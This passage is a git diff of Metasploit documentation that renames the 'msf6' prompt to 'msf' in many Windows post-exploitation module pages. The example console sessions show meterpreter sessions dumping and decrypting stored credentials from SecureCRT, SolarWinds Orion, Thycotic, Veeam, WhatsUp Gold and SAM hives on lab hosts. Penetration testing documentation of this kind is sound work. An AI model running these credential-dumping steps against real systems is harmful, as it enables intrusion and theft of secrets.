run [-] Pulse Secure Connect client is not installed on this system [*] Post module execution completed diff --git a/documentation/modules/post/windows/gather/credentials/purevpn_cred_collector.md b/documentation/modules/post/windows/gather/credentials/purevpn_cred_collector.md index 98ab1e49ecca0..918f4b4362a4d 100644 --- a/documentation/modules/post/windows/gather/credentials/purevpn_cred_collector.md +++ b/documentation/modules/post/windows/gather/credentials/purevpn_cred_collector.md @@ -20,7 +20,7 @@ directory of PureVPN. # Demo ``` -msf5 post(windows/gather/credentials/purevpn_cred_collector) > rerun +msf post(windows/gather/credentials/purevpn_cred_collector) > rerun [*] Reloading module... [*] Searching PureVPN Client installation at C:\ProgramData diff --git a/documentation/modules/post/windows/gather/credentials/quassel_irc.md b/documentation/modules/post/windows/gather/credentials/quassel_irc.md index 14e02731261e2..09a0b07744be9 100644 --- a/documentation/modules/post/windows/gather/credentials/quassel_irc.md +++ b/documentation/modules/post/windows/gather/credentials/quassel_irc.md @@ -37,7 +37,7 @@ regular expression. The 'Store loot' options must be turned on in order for this ## Scenarios ### Quassel Client v0.14.0 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Default Output ``` -msf6 post(windows/gather/credentials/quassel_irc) > run +msf post(windows/gather/credentials/quassel_irc) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -73,7 +73,7 @@ msf6 post(windows/gather/credentials/quassel_irc) > run ### Quassel Client v0.14.0 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Verbose Output ``` -msf6 post(windows/gather/credentials/quassel_irc) > run +msf post(windows/gather/credentials/quassel_irc) > run [*] Filtering based on these selections: [*] ARTIFACTS: All diff --git a/documentation/modules/post/windows/gather/credentials/safari.md b/documentation/modules/post/windows/gather/credentials/safari.md index 7d64f6fa4b56e..a8d8ba94ec1d9 100644 --- a/documentation/modules/post/windows/gather/credentials/safari.md +++ b/documentation/modules/post/windows/gather/credentials/safari.md @@ -35,7 +35,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ### Default Output ``` -msf6 post(windows/gather/credentials/safari) > run +msf post(windows/gather/credentials/safari) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -54,4 +54,3 @@ msf6 post(windows/gather/credentials/safari) > run [*] Post module execution completed ``` - \ No newline at end of file diff --git a/documentation/modules/post/windows/gather/credentials/seamonkey.md b/documentation/modules/post/windows/gather/credentials/seamonkey.md index eb63180a5c5bd..54b7f8dd6d906 100644 --- a/documentation/modules/post/windows/gather/credentials/seamonkey.md +++ b/documentation/modules/post/windows/gather/credentials/seamonkey.md @@ -34,7 +34,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ``` -msf6 post(windows/gather/credentials/seamonkey) > run +msf post(windows/gather/credentials/seamonkey) > run diff --git a/documentation/modules/post/windows/gather/credentials/securecrt.md b/documentation/modules/post/windows/gather/credentials/securecrt.md index 91007a5cfacbf..7b3ac7030010d 100644 --- a/documentation/modules/post/windows/gather/credentials/securecrt.md +++ b/documentation/modules/post/windows/gather/credentials/securecrt.md @@ -73,8 +73,8 @@ information even if a portable version of SecureCRT is utilized on the target. ### Windows Server 2019 Standard Edition with SecureCRT v8.7.3 Build 2279 (Configuration Password Enabled) ``` -msf6 exploit(multi/handler) > use post/windows/gather/credentials/securecrt -msf6 post(windows/gather/credentials/securecrt) > info +msf exploit(multi/handler) > use post/windows/gather/credentials/securecrt +msf post(windows/gather/credentials/securecrt) > info Name: Windows SecureCRT Session Information Enumeration Module: post/windows/gather/credentials/securecrt @@ -107,11 +107,11 @@ Description: References: https://github.com/HyperSine/how-does-SecureCRT-encrypt-password/blob/master/doc/how-does-SecureCRT-encrypt-password.md -msf6 post(windows/gather/credentials/securecrt) > set SESSION 1 +msf post(windows/gather/credentials/securecrt) > set SESSION 1 SESSION => 1 -msf6 post(windows/gather/credentials/securecrt) > set Passphrase whatabadpassword +msf post(windows/gather/credentials/securecrt) > set Passphrase whatabadpassword Passphrase => whatabadpassword -msf6 post(windows/gather/credentials/securecrt) > run +msf post(windows/gather/credentials/securecrt) > run [*] Gathering SecureCRT session information from WIN-M5JU6L5RA9L [*] Searching for session files in C:\Users\normal\AppData\Roaming\VanDyke\Config\Sessions @@ -125,13 +125,13 @@ Filename Protocol Hostname Port Username Password 127.0.0.1 (3).ini ssh2 127.0.0.1 22 Administrator 127.0.0.1.ini telnet 127.0.0.1 23 -msf6 post(windows/gather/credentials/securecrt) > +msf post(windows/gather/credentials/securecrt) > ``` ### Windows Server 2019 Standard Edition with SecureCRT v8.7.3 Build 2279 (Configuration Password Enabled, But No Password Provided) ``` -msf6 exploit(multi/handler) > use post/windows/gather/credentials/securecrt -msf6 post(windows/gather/credentials/securecrt) > info +msf exploit(multi/handler) > use post/windows/gather/credentials/securecrt +msf post(windows/gather/credentials/securecrt) > info Name: Windows SecureCRT Session Information Enumeration Module: post/windows/gather/credentials/securecrt @@ -164,9 +164,9 @@ Description: References: https://github.com/HyperSine/how-does-SecureCRT-encrypt-password/blob/master/doc/how-does-SecureCRT-encrypt-password.md -msf6 post(windows/gather/credentials/securecrt) > set SESSION 1 +msf post(windows/gather/credentials/securecrt) > set SESSION 1 SESSION => 1 -msf6 post(windows/gather/credentials/securecrt) > run +msf post(windows/gather/credentials/securecrt) > run [*] Gathering SecureCRT session information from WIN-M5JU6L5RA9L [*] Searching for session files in C:\Users\Administrator\AppData\Roaming\VanDyke\Config\Sessions @@ -181,5 +181,5 @@ Filename Hostname Port Username Password [+] Session info stored in: /home/gwillcox/.msf4/loot/20200911125521_default_172.20.150.24_host.securecrt_s_951139.txt [*] Post module execution completed -msf6 post(windows/gather/credentials/securecrt) > +msf post(windows/gather/credentials/securecrt) > ``` diff --git a/documentation/modules/post/windows/gather/credentials/solarwinds_orion_dump.md b/documentation/modules/post/windows/gather/credentials/solarwinds_orion_dump.md index 8a2e597933431..0942736e7018b 100644 --- a/documentation/modules/post/windows/gather/credentials/solarwinds_orion_dump.md +++ b/documentation/modules/post/windows/gather/credentials/solarwinds_orion_dump.md @@ -139,10 +139,10 @@ using SQL native auth, replace the `-E` parameter with Windows Server 2019 host running Orion NPM 2020 using the `dump` action: ``` -msf6 exploit(multi/handler) > use post/windows/gather/credentials/solarwinds_orion_dump -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > set session 1 +msf exploit(multi/handler) > use post/windows/gather/credentials/solarwinds_orion_dump +msf post(windows/gather/credentials/solarwinds_orion_dump) > set session 1 session => 1 -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > dump +msf post(windows/gather/credentials/solarwinds_orion_dump) > dump [*] Hostname WINNING IPv4 192.168.101.125 [*] SolarWinds Orion Build 2020.2.65120.0 @@ -177,7 +177,7 @@ msf6 post(windows/gather/credentials/solarwinds_orion_dump) > dump [+] 6 unique CredentialID records recovered [+] Decrypted SolarWinds Orion Database Dump: /root/.msf4/loot/20221118093912_default_192.168.101.125_solarwinds_orion_067745.txt [*] Post module execution completed -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > +msf post(windows/gather/credentials/solarwinds_orion_dump) > ``` Host with MSSQL SSPI authentication configured for external database - use `dump` to @@ -186,10 +186,10 @@ the SQL server. Perform `export` to acquire the encrypted data, then perform `de to produce the plaintext: ``` -msf6 exploit(multi/handler) > use post/windows/gather/credentials/solarwinds_orion_dump -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > set session 1 +msf exploit(multi/handler) > use post/windows/gather/credentials/solarwinds_orion_dump +msf post(windows/gather/credentials/solarwinds_orion_dump) > set session 1 session => 1 -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > dump +msf post(windows/gather/credentials/solarwinds_orion_dump) > dump [*] Hostname WINNING IPv4 192.168.101.125 [*] SolarWinds Orion Build 2020.2.65120.0 @@ -217,15 +217,15 @@ msf6 post(windows/gather/credentials/solarwinds_orion_dump) > dump [-] No records exported from SQL server [-] Post aborted due to failure: unknown: Could not export SolarWinds Orion database records [*] Post module execution completed -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > set AES_KEY 2F627B78981DEADE0447CC7BDDEADE4E84FCB96AF1C6DEAD621F28547E93A82 +msf post(windows/gather/credentials/solarwinds_orion_dump) > set AES_KEY 2F627B78981DEADE0447CC7BDDEADE4E84FCB96AF1C6DEAD621F28547E93A82 AES_KEY => 2F627B78981DEADE0447CC7BDDEADE4E84FCB96AF1C6DEAD621F28547E93A82 -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > set RSA_KEY_FILE /root/.msf4/loot/20221118091221_default_192.168.101.125_orionssl_457287.key +msf post(windows/gather/credentials/solarwinds_orion_dump) > set RSA_KEY_FILE /root/.msf4/loot/20221118091221_default_192.168.101.125_orionssl_457287.key RSA_KEY_FILE => /root/.msf4/loot/20221118091221_default_192.168.101.125_orionssl_457287.key -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > set MSSQL_INSTANCE tcp:cornflakes.cesium137.io +msf post(windows/gather/credentials/solarwinds_orion_dump) > set MSSQL_INSTANCE tcp:cornflakes.cesium137.io MSSQL_INSTANCE => tcp:cornflakes.cesium137.io -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > set MSSQL_DB SolarWindsOrion +msf post(windows/gather/credentials/solarwinds_orion_dump) > set MSSQL_DB SolarWindsOrion MSSQL_DB => SolarWindsOrion -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > sessions -i 1 +msf post(windows/gather/credentials/solarwinds_orion_dump) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ps @@ -246,7 +246,7 @@ meterpreter > migrate 10704 [*] Migration completed successfully. meterpreter > bg [*] Backgrounding session 1... -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > export +msf post(windows/gather/credentials/solarwinds_orion_dump) > export [*] Hostname WINNING IPv4 192.168.101.125 [*] SolarWinds Orion Build 2020.2.65120.0 @@ -267,9 +267,9 @@ msf6 post(windows/gather/credentials/solarwinds_orion_dump) > export [+] 10 rows exported, 6 unique CredentialIDs [+] Encrypted SolarWinds Orion Database Dump: /root/.msf4/loot/20221118091938_default_192.168.101.125_solarwinds_orion_412973.txt [*] Post module execution completed -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > set CSV_FILE /root/.msf4/loot/20221118091938_default_192.168.101.125_solarwinds_orion_412973.txt +msf post(windows/gather/credentials/solarwinds_orion_dump) > set CSV_FILE /root/.msf4/loot/20221118091938_default_192.168.101.125_solarwinds_orion_412973.txt CSV_FILE => /root/.msf4/loot/20221118091938_default_192.168.101.125_solarwinds_orion_412973.txt -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > decrypt +msf post(windows/gather/credentials/solarwinds_orion_dump) > decrypt [*] Hostname WINNING IPv4 192.168.101.125 [*] SolarWinds Orion Build 2020.2.65120.0 @@ -287,5 +287,5 @@ msf6 post(windows/gather/credentials/solarwinds_orion_dump) > decrypt [+] 6 unique CredentialID records recovered [+] Decrypted SolarWinds Orion Database Dump: /root/.msf4/loot/20221118091959_default_192.168.101.125_solarwinds_orion_687493.txt [*] Post module execution completed -msf6 post(windows/gather/credentials/solarwinds_orion_dump) > +msf post(windows/gather/credentials/solarwinds_orion_dump) > ``` diff --git a/documentation/modules/post/windows/gather/credentials/srware.md b/documentation/modules/post/windows/gather/credentials/srware.md index f78af96c61be7..b16019289521e 100644 --- a/documentation/modules/post/windows/gather/credentials/srware.md +++ b/documentation/modules/post/windows/gather/credentials/srware.md @@ -34,7 +34,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ``` -msf6 post(windows/gather/credentials/srware) > run +msf post(windows/gather/credentials/srware) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -64,4 +64,4 @@ msf6 post(windows/gather/credentials/srware) > run [+] File with data saved: /root/.msf4/loot/20210521114420_default_192.168.56.106_EXTRACTIONSHisto_063608.bin [*] PackRat credential sweep Completed [*] Post module execution completed - ``` \ No newline at end of file + ``` diff --git a/documentation/modules/post/windows/gather/credentials/sylpheed.md b/documentation/modules/post/windows/gather/credentials/sylpheed.md index 759bb6eb93db6..a22c42c109061 100644 --- a/documentation/modules/post/windows/gather/credentials/sylpheed.md +++ b/documentation/modules/post/windows/gather/credentials/sylpheed.md @@ -37,7 +37,7 @@ regular expression. The 'Store loot' options must be turned on in order for this ## Scenarios ### Sylpheed v3.17.0 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Default Output ``` -msf6 post(windows/gather/credentials/sylpheed) > run +msf post(windows/gather/credentials/sylpheed) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -172,7 +172,7 @@ msf6 post(windows/gather/credentials/sylpheed) > run ### Sylpheed v3.17.0 on Microsoft Windows 10 Home 10.0.19045 N/A Build 19045 - Verbose Output ``` -msf6 post(windows/gather/credentials/sylpheed) > run +msf post(windows/gather/credentials/sylpheed) > run [*] Filtering based on these selections: [*] ARTIFACTS: All diff --git a/documentation/modules/post/windows/gather/credentials/tango.md b/documentation/modules/post/windows/gather/credentials/tango.md index 875aa1e645fd5..f136c03476dfc 100644 --- a/documentation/modules/post/windows/gather/credentials/tango.md +++ b/documentation/modules/post/windows/gather/credentials/tango.md @@ -34,7 +34,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ``` -msf6 post(windows/gather/credentials/tango) > run +msf post(windows/gather/credentials/tango) > run [*] Filtering based on these selections: [*] ARTIFACTS: All @@ -58,4 +58,4 @@ msf6 post(windows/gather/credentials/tango) > run [+] File with data saved: /root/.msf4/loot/20210521114759_default_192.168.56.106_EXTRACTIONSuseri_076763.xml [*] PackRat credential sweep Completed [*] Post module execution completed - ``` \ No newline at end of file + ``` diff --git a/documentation/modules/post/windows/gather/credentials/thycotic_secretserver_dump.md b/documentation/modules/post/windows/gather/credentials/thycotic_secretserver_dump.md index 79ff4de68bbc0..8c87b77f26d49 100644 --- a/documentation/modules/post/windows/gather/credentials/thycotic_secretserver_dump.md +++ b/documentation/modules/post/windows/gather/credentials/thycotic_secretserver_dump.md @@ -40,9 +40,9 @@ Which session to use, which can be viewed with `sessions -l` Windows Server 2019 host running Secret Server 11.2 using the `dump` action: ``` -msf6 exploit(multi/handler) > use post/windows/gather/credentials/thycotic_secretserver_dump -msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > set session 1 -msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > dump +msf exploit(multi/handler) > use post/windows/gather/credentials/thycotic_secretserver_dump +msf post(windows/gather/credentials/thycotic_secretserver_dump) > set session 1 +msf post(windows/gather/credentials/thycotic_secretserver_dump) > dump [*] Hostname THYCOTIC IPv4 10.1.0.113 [*] Decrypt database.config ... @@ -97,14 +97,14 @@ msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > dump [+] 19836 unique SecretID records recovered [+] Decrypted Secret Server Database Dump: /root/.msf4/loot/20220829112547_default_10.1.0.113_thycotic_secrets_357639.txt [*] Post module execution completed -msf6 post(multi/gather/thycotic_secretserver_dump) > +msf post(multi/gather/thycotic_secretserver_dump) > ``` Windows Server 2019 host running Secret Server 11.2 using the `export` action: ``` -msf6 exploit(multi/handler) > use post/windows/gather/credentials/thycotic_secretserver_dump -msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > set session 1 -msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > export +msf exploit(multi/handler) > use post/windows/gather/credentials/thycotic_secretserver_dump +msf post(windows/gather/credentials/thycotic_secretserver_dump) > set session 1 +msf post(windows/gather/credentials/thycotic_secretserver_dump) > export [*] Hostname THYCOTIC IPv4 10.1.0.113 [*] Decrypt database.config ... @@ -124,4 +124,4 @@ msf6 post(windows/gather/credentials/thycotic_secretserver_dump) > export [*] Export Secret Server DB ... [+] 3 rows exported, 1 unique SecretIDs [+] Encrypted Secret Server Database Dump: /root/.msf4/loot/20220829113427_default_10.1.0.113_thycotic_secrets_175194.txt -[*] Post module execution completed \ No newline at end of file +[*] Post module execution completed diff --git a/documentation/modules/post/windows/gather/credentials/veeam_credential_dump.md b/documentation/modules/post/windows/gather/credentials/veeam_credential_dump.md index 37614e6582fb2..31aecbfa1ae2f 100644 --- a/documentation/modules/post/windows/gather/credentials/veeam_credential_dump.md +++ b/documentation/modules/post/windows/gather/credentials/veeam_credential_dump.md @@ -159,10 +159,10 @@ Windows Server 2019 host with Veeam Backup & Recovery and Veeam ONE installed w/ `dump` action: ``` -msf6 exploit(multi/handler) > use windows/gather/credentials/veeam_credential_dump -msf6 post(windows/gather/credentials/veeam_credential_dump) > set session 1 +msf exploit(multi/handler) > use windows/gather/credentials/veeam_credential_dump +msf post(windows/gather/credentials/veeam_credential_dump) > set session 1 session => 1 -msf6 post(windows/gather/credentials/veeam_credential_dump) > dump +msf post(windows/gather/credentials/veeam_credential_dump) > dump [*] Hostname VEEAM01 IPv4 192.168.101.39 [*] Veeam Backup & Replication Install Path: C:\Program Files\Veeam\Backup and Replication\Backup @@ -236,16 +236,16 @@ msf6 post(windows/gather/credentials/veeam_credential_dump) > dump [+] P: $XklZZiCpToP5wn7 [+] Decrypted Veeam ONE Monitor Database Dump: /root/.msf4/loot/20221209091150_default_192.168.101.39_veeam_vom_dec_557706.txt [*] Post module execution completed -msf6 post(windows/gather/credentials/veeam_credential_dump) > +msf post(windows/gather/credentials/veeam_credential_dump) > ``` Windows Server 2019 host running Veeam ONE with SQL native auth using the `dump` action: ``` -msf6 exploit(multi/handler) > use windows/gather/credentials/veeam_credential_dump -msf6 post(windows/gather/credentials/veeam_credential_dump) > set session 1 +msf exploit(multi/handler) > use windows/gather/credentials/veeam_credential_dump +msf post(windows/gather/credentials/veeam_credential_dump) > set session 1 session => 1 -msf6 post(windows/gather/credentials/veeam_credential_dump) > dump +msf post(windows/gather/credentials/veeam_credential_dump) > dump [*] Hostname VEEAMONE IPv4 192.168.101.143 [*] Veeam ONE Monitor Install Path: C:\Program Files\Veeam\Veeam ONE\Veeam ONE Monitor Server @@ -281,5 +281,5 @@ msf6 post(windows/gather/credentials/veeam_credential_dump) > dump [+] P: 1n$uB0rdin@te&CHuRli$h [+] Decrypted Veeam ONE Monitor Database Dump: /root/.msf4/loot/20221209090835_default_192.168.101.143_veeam_vom_dec_424908.txt [*] Post module execution completed -msf6 post(windows/gather/credentials/veeam_credential_dump) > +msf post(windows/gather/credentials/veeam_credential_dump) > ``` diff --git a/documentation/modules/post/windows/gather/credentials/viber.md b/documentation/modules/post/windows/gather/credentials/viber.md index 17d4e49d8f387..9d536d258f340 100644 --- a/documentation/modules/post/windows/gather/credentials/viber.md +++ b/documentation/modules/post/windows/gather/credentials/viber.md @@ -35,7 +35,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ### Default Output ``` -msf6 post(windows/gather/credentials/viber) > run +msf post(windows/gather/credentials/viber) > run [*] Filtering based on these selections: [*] ARTIFACTS: All diff --git a/documentation/modules/post/windows/gather/credentials/whatsupgold_credential_dump.md b/documentation/modules/post/windows/gather/credentials/whatsupgold_credential_dump.md index ea9e4a902703b..2d7ebfc3f56c3 100644 --- a/documentation/modules/post/windows/gather/credentials/whatsupgold_credential_dump.md +++ b/documentation/modules/post/windows/gather/credentials/whatsupgold_credential_dump.md @@ -114,10 +114,10 @@ Windows Server 2019 host running WhatsUp Gold Build 22.1.39 with external databa and SQL native authentication using the `dump` action: ``` -msf6 exploit(multi/handler) > use post/windows/gather/credentials/whatsupgold_credential_dump -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > set session 1 +msf exploit(multi/handler) > use post/windows/gather/credentials/whatsupgold_credential_dump +msf post(windows/gather/credentials/whatsupgold_credential_dump) > set session 1 session => 1 -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > dump +msf post(windows/gather/credentials/whatsupgold_credential_dump) > dump [*] Hostname WUG IPv4 192.168.101.137 [*] WhatsUp Gold Build 22.1.39 @@ -156,7 +156,7 @@ msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > dump [+] P: quit2day! [+] Decrypted WhatsUp Gold Database Dump: /root/.msf4/loot/20221218103644_default_192.168.101.137_whatsup_gold_dec_398808.txt [*] Post module execution completed -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > +msf post(windows/gather/credentials/whatsupgold_credential_dump) > ``` Windows Server 2019 with MSSQL SSPI authentication configured for SQL database - @@ -164,10 +164,10 @@ migrate the session PID to an identity with permission to log on to the SQL serv before executing the `dump` action: ``` -msf6 exploit(multi/handler) > use post/windows/gather/credentials/whatsupgold_credential_dump -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > set session 1 +msf exploit(multi/handler) > use post/windows/gather/credentials/whatsupgold_credential_dump +msf post(windows/gather/credentials/whatsupgold_credential_dump) > set session 1 session => 1 -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > dump +msf post(windows/gather/credentials/whatsupgold_credential_dump) > dump [*] Hostname WINNEBAGO IPv4 192.168.101.125 [*] WhatsUp Gold Build 22.1.39 @@ -190,7 +190,7 @@ msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > dump [-] Post aborted due to failure: unknown: Sqlcmd: Error: Microsoft ODBC Driver 13 for SQL Server : Login failed for user 'CESIUM137\WINNEBAGO$'.. Sqlcmd: Error: Microsoft ODBC Driver 13 for SQL Server : Cannot open database "WhatsUp" requested by the login. The login failed.. [*] Post module execution completed -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > sessions -i 1 +msf post(windows/gather/credentials/whatsupgold_credential_dump) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ps @@ -210,7 +210,7 @@ meterpreter > migrate 7908 [*] Migration completed successfully. meterpreter > bg [*] Backgrounding session 1... -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > dump +msf post(windows/gather/credentials/whatsupgold_credential_dump) > dump [*] Hostname WINNEBAGO IPv4 192.168.101.125 [*] WhatsUp Gold Build 22.1.39 @@ -250,17 +250,17 @@ msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > dump [+] P: quit2day! [+] Decrypted WhatsUp Gold Database Dump: /root/.msf4/loot/20221218104026_default_192.168.101.125_whatsup_gold_dec_104164.txt [*] Post module execution completed -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > +msf post(windows/gather/credentials/whatsupgold_credential_dump) > ``` Host running Windows Server 2003 R2 and WhatsUp Premium 11.0.1.11231 with MSDE; the operator must supply the export data via the `CSV_FILE` advanced option: ``` -msf6 exploit(multi/handler) > use post/windows/gather/credentials/whatsupgold_credential_dump -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > set session 1 +msf exploit(multi/handler) > use post/windows/gather/credentials/whatsupgold_credential_dump +msf post(windows/gather/credentials/whatsupgold_credential_dump) > set session 1 session => 1 -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > dump +msf post(windows/gather/credentials/whatsupgold_credential_dump) > dump [*] Hostname WINCEMEAT IPv4 192.168.101.144 [*] WhatsUp Gold Build 11.00.0004 @@ -275,15 +275,15 @@ msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > dump [!] Session identity must have access to the SQL server instance to proceed [-] Post aborted due to failure: bad-config: Unable to identify sqlcmd SQL client on target host [*] Post module execution completed -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > +msf post(windows/gather/credentials/whatsupgold_credential_dump) > ``` The operator extracts the SQL data from the database into `/tmp/wug_dump.csv` out of band. ``` -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > set CSV_FILE /tmp/wug_dump.csv +msf post(windows/gather/credentials/whatsupgold_credential_dump) > set CSV_FILE /tmp/wug_dump.csv CSV_FILE => /tmp/wug_dump.csv -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > decrypt +msf post(windows/gather/credentials/whatsupgold_credential_dump) > decrypt [*] Hostname WINCEMEAT IPv4 192.168.101.144 [*] WhatsUp Gold Build 11.00.0004 @@ -301,5 +301,5 @@ msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > decrypt [+] P: WuddidUSay2Me?! [+] Decrypted WhatsUp Gold Database Dump: /root/.msf4/loot/20221219112059_default_192.168.101.144_whatsup_gold_dec_615423.txt [*] Post module execution completed -msf6 post(windows/gather/credentials/whatsupgold_credential_dump) > +msf post(windows/gather/credentials/whatsupgold_credential_dump) > ``` diff --git a/documentation/modules/post/windows/gather/credentials/winbox_settings.md b/documentation/modules/post/windows/gather/credentials/winbox_settings.md index 867ab31f36206..2d04c1ddcc06d 100644 --- a/documentation/modules/post/windows/gather/credentials/winbox_settings.md +++ b/documentation/modules/post/windows/gather/credentials/winbox_settings.md @@ -25,7 +25,7 @@ Winbox can be downloaded [here](https://mikrotik.com/download) ## Scenarios ``` -msf6 post(windows/gather/credentials/winbox_settings) > run +msf post(windows/gather/credentials/winbox_settings) > run [*] VERBOSE: false [*] Checking Default Locations... diff --git a/documentation/modules/post/windows/gather/credentials/windows_autologin.md b/documentation/modules/post/windows/gather/credentials/windows_autologin.md index 291f1b603081e..124763f9997be 100644 --- a/documentation/modules/post/windows/gather/credentials/windows_autologin.md +++ b/documentation/modules/post/windows/gather/credentials/windows_autologin.md @@ -58,7 +58,7 @@ msf post(windows_autologin) > run ### Windows 2003 ``` -msf6 post(windows/gather/credentials/windows_autologin) > sessions -i 3 +msf post(windows/gather/credentials/windows_autologin) > sessions -i 3 [*] Starting interaction with 3... meterpreter > sysinfo @@ -71,7 +71,7 @@ Logged On Users : 2 Meterpreter : x86/windows meterpreter > background [*] Backgrounding session 3... -msf6 post(windows/gather/credentials/windows_autologin) > run +msf post(windows/gather/credentials/windows_autologin) > run [*] Running against WIN2003 on session 3 [+] AutoAdminLogon=, DefaultDomain=WIN2003, DefaultUser=Administrator, DefaultPassword=TestPassword diff --git a/documentation/modules/post/windows/gather/credentials/windows_sam_hivenightmare.md b/documentation/modules/post/windows/gather/credentials/windows_sam_hivenightmare.md index 055e4cc183474..d9d7dfd99a0ad 100644 --- a/documentation/modules/post/windows/gather/credentials/windows_sam_hivenightmare.md +++ b/documentation/modules/post/windows/gather/credentials/windows_sam_hivenightmare.md @@ -50,7 +50,7 @@ This module was successfully tested on Windows 10 20H2. See the following output: ``` -msf6 post(windows/gather/credentials/windows_sam_hivenightmare) > run +msf post(windows/gather/credentials/windows_sam_hivenightmare) > run [+] SAM data found in HarddiskVolumeShadowCopy1! [+] Retrieving files of index 1 as they are the most recently modified... @@ -58,11 +58,11 @@ msf6 post(windows/gather/credentials/windows_sam_hivenightmare) > run [+] SYSTEM data saved at /home/smcintyre/.msf4/loot/20210729113926_default_192.168.159.15_windows.system_202176.bin [+] SAM and SYSTEM data were leaked! [*] Post module execution completed -msf6 post(windows/gather/credentials/windows_sam_hivenightmare) > file /home/smcintyre/.msf4/loot/20210729113916_default_192.168.159.15_windows.sam_763500.bin +msf post(windows/gather/credentials/windows_sam_hivenightmare) > file /home/smcintyre/.msf4/loot/20210729113916_default_192.168.159.15_windows.sam_763500.bin [*] exec: file /home/smcintyre/.msf4/loot/20210729113916_default_192.168.159.15_windows.sam_763500.bin /home/smcintyre/.msf4/loot/20210729113916_default_192.168.159.15_windows.sam_763500.bin: MS Windows registry file, NT/2000 or above -msf6 post(windows/gather/credentials/windows_sam_hivenightmare) > +msf post(windows/gather/credentials/windows_sam_hivenightmare) > ``` Then, you can dump the hashes from leaked files with `secretsdump.py` for instance: diff --git a/documentation/modules/post/windows/gather/credentials/xchat.md b/documentation/modules/post/windows/gather/credentials/xchat.md index 3fd8d0f6576e1..1257f5e029273 100644 --- a/documentation/modules/post/windows/gather/credentials/xchat.md +++ b/documentation/modules/post/windows/gather/credentials/xchat.md @@ -35,7 +35,7 @@ This option is turned on by default and will perform the data extraction using t ## Example Run ### Default Output ``` -msf6 post(windows/gather/credentials/xchat) > run +msf post(windows/gather/credentials/xchat) > run [*] Filtering based on these selections: [*] ARTIFACTS: All diff --git a/documentation/modules/post/windows/gather/dnscache_dump.md b/documentation/modules/post/windows/gather/dnscache_dump.md index 2a2f77f1ab921..0442d1e78bef6 100644 --- a/documentation/modules/post/windows/gather/dnscache_dump.md +++ b/documentation/modules/post/windows/gather/dnscache_dump.md @@ -19,7 +19,7 @@ loading the `dnsapi` DLL and calling the `DnsGetCacheDataTable` function. ### Windows 10 ``` -msf6 post(windows/gather/dnscache_dump) > sessions -i 5 +msf post(windows/gather/dnscache_dump) > sessions -i 5 [*] Starting interaction with 5... meterpreter > sysinfo @@ -32,7 +32,7 @@ Logged On Users : 2 Meterpreter : x86/windows meterpreter > background [*] Backgrounding session 5... -msf6 post(windows/gather/dnscache_dump) > run +msf post(windows/gather/dnscache_dump) > run [*] DNS Cached Entries ================== diff --git a/documentation/modules/post/windows/gather/enum_ad_groups.md b/documentation/modules/post/windows/gather/enum_ad_groups.md index 0fbe869c44cc9..7e8bbbfe8f1ce 100644 --- a/documentation/modules/post/windows/gather/enum_ad_groups.md +++ b/documentation/modules/post/windows/gather/enum_ad_groups.md @@ -34,7 +34,7 @@ The maximum amount of results to retrieve. Default is `500`, `0` for all. ### Windows 2012 DC (hoodiecola domain) ``` -msf6 post(windows/gather/enum_ad_groups) > sessions -i 6 +msf post(windows/gather/enum_ad_groups) > sessions -i 6 [*] Starting interaction with 6... meterpreter > sysinfo @@ -47,10 +47,10 @@ Logged On Users : 4 Meterpreter : x86/windows meterpreter > background [*] Backgrounding session 6... -msf6 post(windows/gather/enum_ad_groups) > use post/windows/gather/enum_ad_groups -msf6 post(windows/gather/enum_ad_groups) > set session 6 +msf post(windows/gather/enum_ad_groups) > use post/windows/gather/enum_ad_groups +msf post(windows/gather/enum_ad_groups) > set session 6 session => 6 -msf6 post(windows/gather/enum_ad_groups) > run +msf post(windows/gather/enum_ad_groups) > run Domain Groups ============= diff --git a/documentation/modules/post/windows/gather/enum_artifacts.md b/documentation/modules/post/windows/gather/enum_artifacts.md index 354ff4725e8f4..388db0502df03 100644 